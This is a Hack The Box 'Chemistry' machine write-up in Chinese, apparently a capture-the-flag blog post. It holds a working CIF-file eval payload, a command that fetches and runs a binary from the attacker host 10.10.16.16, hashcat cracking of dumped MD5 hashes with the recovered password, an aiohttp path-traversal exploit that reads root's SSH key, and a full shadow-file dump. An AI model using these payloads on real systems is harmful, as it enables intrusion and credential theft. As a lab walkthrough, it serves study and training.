Recommand : Let’s Sign Up HTB Academy to get Higher level of knowledge :P
非常推薦 : 想要變强嗎? 快來加入 HTB Academy 獲得更高級的知識吧 :P
Chemistry
https://www.hackthebox.com/achievement/machine/463126/631
首先從開放的 5000 端口入手,利用 whatweb 工具發現該服務器是基於 Python 的。進入網站後,發現其功能與 CIF 分析有關,於是註冊了一個賬號並登錄,進一步調查可能存在的漏洞。經過搜尋,找到兩篇關於 CIF 庫的安全漏洞資料,得知該庫可能存在利用 eval 函數執行任意 Python 代碼的風險,從而推測出可以利用此漏洞實現遠程代碼執行(RCE)。隨後,根據漏洞信息修改了示例代碼並上傳,成功觸發了 RCE,獲得了系統的 shell 訪問權限。進一步檢查系統內的用戶,發現當前用戶為 app,並且系統中還有一個名為 rosa 的普通用戶。通過查找數據庫中的密碼 hash,利用 sqlitebrowser 工具進行分析,成功提取到多個 hash,並使用 hashcat 破解,最終獲得 rosa 的密碼 “unicorniosrosados”。憑藉該密碼成功使用 SSH 登錄到系統,隨後查看進程,發現一個由 root 運行的服務器。檢查開放的端口後,發現 8080 端口,並通過 SSH 轉發將其映射到本地 8000 端口,以避免與本地的 burp suite 衝突。打開瀏覽器後,發現該頁面使用了 aiohttp 框架,進一步查詢後找到一個 CVE 漏洞,得知當服務器綁定靜態資源文件且設置 follow_symlinks=True 時,可能會存在本地文件包含(LFI)漏洞。於是,檢查網站的靜態文件目錄,發現 /assets/ 路徑,隨即利用該漏洞嘗試訪問,結果成功獲得了 root 用戶的 SSH 密鑰,最終以 root 身份登錄系統,完成了整個攻擊過程。
Nmap 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 $ sudo nmap -sS -sC -sV -oA save -vv -p- --min-rate 1000 10.129.197.21 PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 b6:fc :20:ae:9d:1d:45:1d:0b:ce:d9:d0:20:f2:6f:dc (RSA) | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCj5eCYeJYXEGT5pQjRRX4cRr4gHoLUb/riyLfCAQMf40a6IO3BMzwyr3OnfkqZDlr6o9tS69YKDE9ZkWk01vsDM/T1k/m1ooeOaTRhx2Yene9paJnck8Stw4yVWtcq6PPYJA3HxkKeKyAnIVuYBvaPNsm+K5+rsafUEc5FtyEGlEG0YRmyk/NepEFU6qz25S3oqLLgh9Ngz4oGeLudpXOhD4gN6aHnXXUHOXJgXdtY9EgNBfd8paWTnjtloAYi4+ccdMfxO7PcDOxt5SQan1siIkFq/uONyV+nldyS3lLOVUCHD7bXuPemHVWqD2/1pJWf+PRAasCXgcUV+Je4fyNnJwec1yRCbY3qtlBbNjHDJ4p5XmnIkoUm7hWXAquebykLUwj7vaJ/V6L19J4NN8HcBsgcrRlPvRjXz0A2VagJYZV+FVhgdURiIM4ZA7DMzv9RgJCU2tNC4EyvCTAe0rAM2wj0vwYPPEiHL+xXHGSvsoZrjYt1tGHDQvy8fto5RQU= | 256 f1:ae:1c:3e:1d:ea:55:44:6c:2f:f2:56:8d:62:3c:2b (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBLzrl552bgToHASFlKHFsDGrkffR/uYDMLjHOoueMB9HeLRFRvZV5ghoTM3Td9LImvcLsqD84b5n90qy3peebL0= | 256 94:42:1b:78:f2:51:87:07:3e:97:26:c9:a2:5c:0a:26 (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIELLgwg7A8Kh8AxmiUXeMe9h/wUnfdoruCJbWci81SSB 5000/tcp open upnp? syn-ack ttl 63 | fingerprint-strings: | GetRequest: | HTTP/1.1 200 OK | Server: Werkzeug/3.0.3 Python/3.9.5 | Date: Wed, 23 Oct 2024 02:40:44 GMT | Content-Type: text/html; charset=utf-8 | Content-Length: 719 | Vary: Cookie | Connection: close | <!DOCTYPE html> | <html lang="en" > | <head > | <meta charset="UTF-8" > | <meta name="viewport" content="width=device-width, initial-scale=1.0" > | <title>Chemistry - Home</title> | <link rel="stylesheet" href="/static/styles.css" > | </head> | <body> | <div class="container" > | class="title" >Chemistry CIF Analyzer</h1> | <p>Welcome to the Chemistry CIF Analyzer. This tool allows you to upload a CIF (Crystallographic Information File) and analyze the structural data contained within.</p> | <div class="buttons" > | <center><a href="/login" class="btn" >Login</a> | href="/register" class="btn" >Register</a></center> | </div> | </div> | </body> | RTSPRequest: | <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" | "http://www.w3.org/TR/html4/strict.dtd" > | <html> | <head > | <meta http-equiv="Content-Type" content="text/html;charset=utf-8" > | <title>Error response</title> | </head> | <body> | <h1>Error response</h1> | <p>Error code: 400</p> | <p>Message: Bad request version ('RTSP/1.0' ).</p> | <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p> | </body> |_ </html>
22
端口沒有密碼,只開放 5000
端口,看來是從 5000
端口 入手。
5000 - Exploit Chemistry CIF Analyzer Server 使用 whatweb
探測下,看到是python的服務器:
打開網頁后:
從網頁上很明顯的告訴你,他會分析CIF,所以隨便注冊一個賬號,登陸進去后:
既然會分析CIF,那麽最有可能就是CIF的某個庫出現了問題,所以谷歌差一下:
找到這兩篇:
從上面的第一篇得知,他會觸發 eval
函數來執行任意的python代碼,也就是說可以使用python代碼來弄一個RCE。
那就下載他的例子改一改:
參考第二篇連接改成如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 data_Example _cell_length_a 10.00000 _cell_length_b 10.00000 _cell_length_c 10.00000 _cell_angle_alpha 90.00000 _cell_angle_beta 90.00000 _cell_angle_gamma 90.00000 _symmetry_space_group_name_H-M 'P 1' loop_ _atom_site_label _atom_site_fract_x _atom_site_fract_y _atom_site_fract_z _atom_site_occupancy H 0.00000 0.00000 0.00000 1 O 0.50000 0.50000 0.50000 1 _space_group_magn.transform_BNS_Pp_abc 'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("curl 10.10.16.16/mane -o /tmp/mane");0,0,0' _space_group_magn.number_BNS 62.448 _space_group_magn.name_BNS "P n' m a' "
上傳後,結果出發了RCE:
試過如果用 ;
隔開的話,會出現問題,懶得用其他命令繞過了,所以我乾脆分三次payload發送:
1 2 3 curl 10.10.16.16/mane -o /tmp/mane chmod 777 /tmp/mane/tmp/mane
之後就得到了shell。
Found hash in database, Crack the hash to user 先看一下系統裏面的其他用戶叫什麽名字:
當前用戶是 app
,系統内存在另一個普通用戶叫 rosa
,所以去找一下數據庫,看看有沒有保存hash:
由於太難看了,所以下載下來,用 sqlitebrowser
打開:
得到了一堆 hash:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 admin 2861debaf8d99436a10ed6f75a252abf app 197865e46b878d9e74a0346b6d59886a rosa 63ed86ee9f624c7b14f1d4f43dc251a5 robert 02fcf7cfc10adc37959fb21f06c6b467 jobert 3dec299e06f7ed187bac06bd3b670ab2 carlos 9ad48828b0955513f7cf0f7f6510c8f8 peter 6845c17d298d95aa942127bdad2ceb9b victoria c3601ad2286a4293868ec2a4bc606ba3 tania a4aa55e816205dc0389591c9f82f43bb eusebio 6cad48078d0241cca9a7b322ecd073b3 gelacia 4af70c80b68267012ecdac9a7e916d18 fabian 4e5d71f53fdd2eabdbabb233113b5dc0 axel 9347f9724ca083b17e39555c36fd9007 kristel 6896ba7b11a62cacffbdaded457c6d92 mane 09610961ba9b9d19fdf34ce1d9bb0ea3
直接保存所有的hash,放在 hashcat 破解,
1 $ hashcat.exe hash.txt rockyou.txt -m 0
得到:
1 2 3 4 5 9ad48828b0955513f7cf0f7f6510c8f8:carlos123 6845c17d298d95aa942127bdad2ceb9b:peterparker c3601ad2286a4293868ec2a4bc606ba3:victoria123 09610961ba9b9d19fdf34ce1d9bb0ea3:mane 63ed86ee9f624c7b14f1d4f43dc251a5:unicorniosrosados
其中 rosa
這個用戶存在于系統中,剛好也破解到這個用戶的密碼, rosa : unicorniosrosados
Exploit aiohttp to root 得到密碼後,嘗試使用 ssh 登錄:
成功了進去,然後就看一下進程 ps -auxwwf
:
有一個 root 運行的服務器,所以去看一下本地有什麽端口是開放的,看到有一個 8080 的端口:
使用 ssh 轉發一下,爲了避免和我本地系統中的 burp suite
相撞,所以我只轉發到本地的 8000 端口:
1 $ ssh -L 8000:127.0.0.1:8080 rosa@10.129.197.21
於是用瀏覽器打開後得到這樣的頁面:
用 burp
截取一下后,看到有一個陌生的 aiohttp
框架:
於是谷歌查了一下之後:
看到了這一篇:https://github.com/wizarddos/CVE-2024-23334
上面的poc裏面告訴你,儅服務器綁定了靜態資源文件,且 follow_symlinks=True
的時候就有機會有 LFI,
所以直接去網站上找一下靜態文件的挂載目錄:
得到 /assets/
的路徑,於是嘗試使用那個poc:
結果還真可以,由於他是以root運行,所以看一下能不能釣到 root 的ssh key:
結果可以,然後用 root 的 sshkey 登陸下,就得到了 root :
事後回過頭來看一下那個文件:
一切都合理了。
Hashes 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 root@chemistry:~ root:$6$51 .cQv3bNpiiUadY$0qMYr0nZDIHuPMZuR4e7Lirpje9PwW666fRaPKI8wTaTVBm5fgkaBEojzzjsF .jjH0K0JWi3/poCT6OfBkRpl.:19891:0:99999:7::: daemon:*:19430:0:99999:7::: bin:*:19430:0:99999:7::: sys:*:19430:0:99999:7::: sync :*:19430:0:99999:7:::games:*:19430:0:99999:7::: man:*:19430:0:99999:7::: lp:*:19430:0:99999:7::: mail:*:19430:0:99999:7::: news:*:19430:0:99999:7::: uucp:*:19430:0:99999:7::: proxy:*:19430:0:99999:7::: www-data:*:19430:0:99999:7::: backup:*:19430:0:99999:7::: list:*:19430:0:99999:7::: irc:*:19430:0:99999:7::: gnats:*:19430:0:99999:7::: nobody:*:19430:0:99999:7::: systemd-network:*:19430:0:99999:7::: systemd-resolve:*:19430:0:99999:7::: systemd-timesync:*:19430:0:99999:7::: messagebus:*:19430:0:99999:7::: syslog:*:19430:0:99999:7::: _apt:*:19430:0:99999:7::: tss:*:19430:0:99999:7::: uuidd:*:19430:0:99999:7::: tcpdump:*:19430:0:99999:7::: landscape:*:19430:0:99999:7::: pollinate:*:19430:0:99999:7::: fwupd-refresh:*:19430:0:99999:7::: usbmux:*:19889:0:99999:7::: sshd:*:19889:0:99999:7::: systemd-coredump:!!:19889:::::: rosa:$6$giyD4I2YumzG4k6 .$0h0Gtrjj13qoK6m0XevedDBanbEz6BStzsLwUtrDm5sVkmnHOSSWF8f6W8B9btTEzyskmA2h /7F7gyvX1fzrT0:19893:0:99999:7::: lxd:!:19889:::::: app:$6$XUL17hADm4qICsPv$QvCHMOImUTmS1jiaTQ2t6ZJtDAzgkqRhFYOMd0nty3lLwpyxTiyMWRgO /jbySPENinpJlL0z3MK1OVEaG44sQ1:19890:0:99999:7::: _laurel:!:20007::::::
Thanks Respect : If my writeup really helps you, Give me a respect to let me know, Thankssssss!
感謝 : 製作不易,如果我的writeup真的幫到你了, 給我一個respect ,這樣我就會知道,感謝你!
Found Mistakes : If you find something wrong in the page, please feel free email to mane@manesec.com thanksss !!!
發現一些錯誤 : 如果你在文章中發現一些錯誤,請發郵件到 mane@manesec.com ,麻煩了!!
Beginner Recommand : If you are a beginner, please use this link to sign up for an HTB Academy to get more Higher level of knowledge.
新手非常推薦 : 如果你是初學者,可以用此鏈接來嘗試注冊 HTB Academy 賬號。
使用上面的鏈接加入 HTB 的 academy 就可以免費看 Tire 0 的所有教程,這對初學者來説是很友好的。 (建議先完成 INTRODUCTION TO ACADEMY)
Join HTB’s academy with this link to get free access to all the tutorials for Tire 0. This is very beginner friendly. (It is recommended to complete INTRODUCTION TO ACADEMY first)